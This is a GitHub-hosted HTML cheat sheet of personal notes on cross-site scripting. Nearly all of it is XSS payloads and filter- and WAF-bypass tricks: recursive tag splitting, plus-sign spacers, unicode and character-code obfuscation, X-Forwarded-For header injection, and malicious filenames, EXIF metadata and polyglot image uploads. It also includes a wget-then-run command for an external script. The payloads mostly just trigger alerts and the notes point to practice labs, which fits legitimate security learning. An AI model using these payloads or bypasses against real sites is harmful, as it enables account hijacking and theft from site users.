forked from imran-parray/Web-Sec-CheatSheet
-
Notifications
You must be signed in to change notification settings - Fork 0
/
xss.html
649 lines (541 loc) · 25.1 KB
/
xss.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
<title></title>
<meta name="generator" content="LibreOffice 5.2.7.2 (Linux)"/>
<meta name="created" content="2017-10-14T12:07:32.800167410"/>
<meta name="changed" content="2017-10-14T12:20:57.438396573"/>
<style type="text/css">
@page { margin: 2cm }
p { margin-bottom: 0.25cm; line-height: 120% }
a:link { so-language: zxx }
</style>
</head>
<body lang="en-GB" dir="ltr">
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>XSS
Vul Point</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><font size="3" style="font-size: 12pt">Input
Field which </font>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> <i>-Reflected Text</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> -Relecting text
from other source.</i></p>
<p style="margin-bottom: 0cm; line-height: 100%">Stored Input Fields
[Username,Email,info,Bio] etc.</p>
<p style="margin-bottom: 0cm; line-height: 100%">API</p>
<p style="margin-bottom: 0cm; line-height: 100%">MarkDown Editor
Features</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">xss Cheatsheet</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>"><script>alert(0);</script></i> Escaping
The Doble Quotes</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><img src=x
onerror=promt(1)></i> When <script> tags are removed</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>"
onafterscriptexecute=alert(0) 1='</i> try it its a random exploit.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><script>prompt.call`${1}`</script> </i> When
()= are removed</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>--!><script>prompt(1);</script></i> Closing
Comment with --!> </p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>" type=image
src onerror ="prompt(1)</i> When Even Handlers and > are
Stripped off. [Note: The regular expression cannot check after
the line feed]</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>'-alert(0)-</i>' when
the </script> tags are stripped off and the input is
already in the <script> tag</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><imran
onclick='alert(0)'>clickme</i> we can use arbitart html tags to
bypass the filter sometimes.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><imran
onblur='alert(0)'>lose focus</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><imran
oncontextmenu=alert(1)>right click this!</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>How
to approach for XSS</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">-send <b><</b>
and see the reflection.</p>
<p style="margin-bottom: 0cm; line-height: 100%">-send <b><1</b>
and send the reflection.</p>
<p style="margin-bottom: 0cm; line-height: 100%">-send <b>N<1</b>
and see the reflection -[use N as tracker in the source code]-</p>
<p style="margin-bottom: 0cm; line-height: 100%">-send <b>2<2</b>
or <b>1<3</b> and see if <b><</b> is allowed in reflection [if
yes]</p>
<p style="margin-bottom: 0cm; line-height: 100%">-send <b>" ''</b>
in the input field and check the reflection.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>X-Forwaded-for
[if Ip is shown on website]</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">-Is A header used by
the Proxy servers</p>
<p style="margin-bottom: 0cm; line-height: 100%">-if your ipaddress
is used is show in the website
</p>
<p style="margin-bottom: 0cm; line-height: 100%">-You can use</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i>-X-Forwaded-for:
“><svg/onload=’alert(0)”></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">-Send The request.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>Using
+ as Spacer to Evade XSS filters.</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">-Suppose we have a
waf which blocks the XSS attacks whenever the payloads are executed
on the server.</p>
<p style="margin-bottom: 0cm; line-height: 100%">-And The Filter is
installed which stripps off the whitespaces with ""
[nothing]</p>
<p style="margin-bottom: 0cm; line-height: 100%">-which mean on
executing <i><b><svg onload='alert(0)');></b></i> waf will
detect this and will stop the attack.</p>
<p style="margin-bottom: 0cm; line-height: 100%">-we can use
<i><b><+svg+onlo+ad=+'al+ert(+0+);+></b></i> where all the +
will be removed and payload as: <i><b><svgonload='alert(0)';>
</b></i>will be responded [if its not executing].</p>
<p style="margin-bottom: 0cm; line-height: 100%">- Try to use Null
Char <i><b>%0a</b></i> like : <i><b><+svg%0a+onlo+ad=+'al+ert(+0+);+></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">-Now We will get
output like <i><b><svgonload=alert(0);></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">-and Our script will
be executed</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>Sending
Payloads Through API</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">SomeTime What
Happens if the data is directly pass from the website interface the
data is filtered out and XSS payloads will not be executed but if the
same payloads are sended through the API provided by appilication.
Sometime it developers thinks that the milicious and unappopraite
data will be only sended from the web forms not from the API so he
forgets to implemet the filter on the data coming from the ApI.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>XSS
without EventHandlers:</b></font></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><script>alert(1)</script></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><script
src=javascript:alert(1)></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><iframe
src=javascript:alert(1)></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><embed
src=javascript:alert(1)> *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><a
href=javascript:alert(1)>click</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><math><brute
href=javascript:alert(1)>click *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><form
action=javascript:alert(1)><input type=submit></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><isindex
action=javascript:alert(1) type=submit value=click> *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><form><button
formaction=javascript:alert(1)>click</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><form><input
formaction=javascript:alert(1) type=submit value=click></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><form><input
formaction=javascript:alert(1) type=image value=click></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><form><input
formaction=javascript:alert(1) type=image
src=http://brutelogic.com.br/webgun/img/youtube1.jpg></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><isindex
formaction=javascript:alert(1) type=submit value=click> *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><object
data=javascript:alert(1)> *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><iframe
srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><svg><script
xlink:href=data:,alert(1)></script></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><svg><script
xlink:href=data:,alert(1) /> *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><math><brute
xlink:href=javascript:alert(1)>click *</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><svg><a
xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle
r=400 /><animate attributeName=xlink:href begin=0
from=javascript:alert(1) to=%26></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; font-style: normal; line-height: 100%">
<font size="4" style="font-size: 16pt"><b>FileUpload XSS</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">-File name
<i><b><script>alert(0)</script> or <img src=x
onerror=alert(0)></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">-<b>Metadata
$exiftool -Artist='"><script>alert(0);</script></b></p>
<p style="margin-bottom: 0cm; line-height: 100%">-Svg file upload [<i><b>
<svg
xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/></b></i>
]</p>
<p style="margin-bottom: 0cm; line-height: 100%">-Sorce Trick</p>
<p style="margin-bottom: 0cm; line-height: 100%"> -Upload file.png
with [<i><b>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;</b></i>
]</p>
<p style="margin-bottom: 0cm; line-height: 100%"> -Find XSS and Try
<i><b><img src=http://website.com/file.png></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> </p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>Looking
XSS in php source codes</b></font></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; font-weight: normal; line-height: 100%">
<i>$wget https://brutelogic.com.br/brutal/xssaminer.txt >
xssminer.sh</i></p>
<p style="margin-bottom: 0cm; font-weight: normal; line-height: 100%">
<i>$./xssminer.sh -r /opt/lampp/htdocs/bWAPP/bWAPP/</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> and Wait for The
output.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="5" style="font-size: 20pt"><b>Rafay
hacking</b></font></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><b>===========</b></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; font-style: normal; line-height: 100%"><b>-Try
Bruteforcing</b></p>
<p style="margin-bottom: 0cm; font-style: normal; line-height: 100%"><b>-Regular
expression Reversing</b></p>
<p style="margin-bottom: 0cm; font-style: normal; line-height: 100%"><b>-Browser
bugs</b></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">Regular expressions
Revresing</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>1-
Send Harmless html tags</b></font>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b><b> <i>
<u></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">2- See if <span style="font-style: normal"><b><
></b></span> are removed or encoded</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>3-
inject html entities</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> <i><b>&lt;b&gt;</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b> \u003cb\u003e</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b> \x3cb\x3e</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> [
https://www.w3schools.com/html/html_entities.asp ] - check if these
gets decoded</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>4-
Try uppercase and lowercase</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b><script>
or </sCrIpt> </b></i>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>5-
Bypassing Recursive Filters</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> if
<i><b><script>alert(0);</script> leads to alert(0)</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> and <i><b><script></b></i>
tags are stripped off then we
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> can go for these
bypasses.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">
<i><b><scr<script>ipt>alert(1);</scr</script>ipt></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">
<i><b><scr<iframe>ipt>alert(1);</scr</iframe>ipt></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%">
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>6-
Injecting Anchor Tags</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> <i><b><a
href="http://www.google.com">click me </a></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> and we will check
which part of the tag is stripped</p>
<p style="margin-bottom: 0cm; line-height: 100%"> or blocked or
encoded</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>7-
use html entities in anchor tags</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> <span style="font-style: normal"><span style="font-weight: normal">like</span></span><i><b>
<a href="http://www.google.com">clickme</a></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"> <span style="font-style: normal"><span style="font-weight: normal">becomes</span></span><i><b>
&#x3C;a href=&#x22;http://www.google.com&#x3E;clickme
&#x3C;/a&#x3E;</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> <b>use
https://mothereff.in/html-entities</b></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>8-
Injecting event handlers</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> </p>
<p style="margin-bottom: 0cm; line-height: 100%"> we will get started
by injecting some invalid event handlers
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> and if that event
handler is blocked that mean all other will</p>
<p style="margin-bottom: 0cm; line-height: 100%"> be blocked.
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> like : <i><b><a
href="example.com" onclimbtree="alert(0)">clickme</a></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 16pt"><b>9-
using src tags</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"> <i><img src=x
onerror=alert(0);></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> <img/src=x
onerror='alert(0);></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> <video src=
...</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> <adion src=
...</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> <iframe src=
...</i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i> <embed/src=//goo.gl/link></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> </p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><font size="4" style="font-size: 14pt"><b>Bypassing
Keyword based filters</b></font></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><b>===========================</b></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> Some Firewalls
Blocks keywords like alert, confirm, prompt etc</p>
<p style="margin-bottom: 0cm; line-height: 100%"> </p>
<p align="center" style="margin-bottom: 0cm; font-style: normal; line-height: 100%">
<b><font size="4" style="font-size: 14pt">1- Using unicode filters</font>
</b>
</p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><b><a href="https://www.branah.com/unicode-converter"><span style="font-style: normal">https://www.branah.com/unicode-converter</span></a></b></p>
<p align="center" style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> like: <i><b><script>
\u0061.......</script></b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p align="center" style="margin-bottom: 0cm; font-style: normal; line-height: 100%">
<font size="4" style="font-size: 14pt"><b>2- String Concatination:</b></font></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> <i><b>a+l+e+r+t</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b> "a"+"l"+"e"+"r"+"t"</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b> atob(base64data)</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><i><b> String.fromCharCode(97,
108, 101, 114, 116, 40, 48, 41)</b></i></p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">level 4 and 6
incompleted</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">BruteLogic
Practices:</p>
<p style="margin-bottom: 0cm; line-height: 100%">---------------------</p>
<p style="margin-bottom: 0cm; line-height: 100%">https://brutelogic.com.br/xss.php
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> Exploit all cases
check sources code for the parameters.</p>
<p style="margin-bottom: 0cm; line-height: 100%">solution:
https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">https://brutelogic.com.br/spell/</p>
<p style="margin-bottom: 0cm; line-height: 100%"> Its a challange and
still the solution is not given.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">https://brutelogic.com.br/bypass/bypass-waf.php?p=brute&q=logic</p>
<p style="margin-bottom: 0cm; line-height: 100%"> </p>
<p style="margin-bottom: 0cm; line-height: 100%"> Here "q"
parameter has filter which stripps <script
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> part so we can use
<svg on<scriptload='alert(0)'> to</p>
<p style="margin-bottom: 0cm; line-height: 100%"> complete confuse
the Chrome Audiotor.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> Here "P"
parameter has a filter which removes " " with ""</p>
<p style="margin-bottom: 0cm; line-height: 100%"> so + is alos
treated as white space in the modern web browser</p>
<p style="margin-bottom: 0cm; line-height: 100%"> we can user <sv+g
o+nloa+d='+aler+t(0)+> all the + will be removed</p>
<p style="margin-bottom: 0cm; line-height: 100%"> and <svg
onload='alert(0)'> will be returned.</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%">view-source:https://brutelogic.com.br/webgun/test.php?p=</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"> here you can test
the payloads with arbitart html tags.</p>
<p style="margin-bottom: 0cm; line-height: 100%"> like :</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><imran
onclick='alert(0)'>clickm</p>
<p style="margin-bottom: 0cm; line-height: 100%"><imran
onblur='alert(0)'>lose focus</p>
<p style="margin-bottom: 0cm; line-height: 100%"><imran
oncontextmenu=alert(1)>right click this!</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
<p style="margin-bottom: 0cm; line-height: 100%"><br/>
</p>
</body>
</html>